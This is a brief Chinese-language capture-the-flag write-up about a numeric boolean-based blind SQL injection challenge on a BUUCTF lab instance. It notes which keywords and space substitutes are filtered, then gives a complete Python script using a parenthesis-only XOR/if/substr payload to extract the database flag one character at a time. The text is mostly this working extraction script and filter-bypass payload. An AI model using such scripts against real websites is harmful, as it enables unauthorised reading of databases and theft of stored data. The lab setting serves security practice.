开始先fuzz了一下,发现是数字型的布尔盲注
过滤了union、and、or、空格 连绕过空格的/**/也过滤了,但是没过滤()
直接附上脚本:
# -*- coding: UTF-8 -*- import requests flag='' url='http://933b7f30-8894-4167-b9f9-4684ca5a66c3.node3.buuoj.cn/index.php' for i in range(1,1290): link=0 for j in range(32,129): payload = "1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j) data={ 'id': payload } res=requests.post(url,data=data) if 'Hello' in res.text: flag=flag+chr(j) print(flag) link=1 break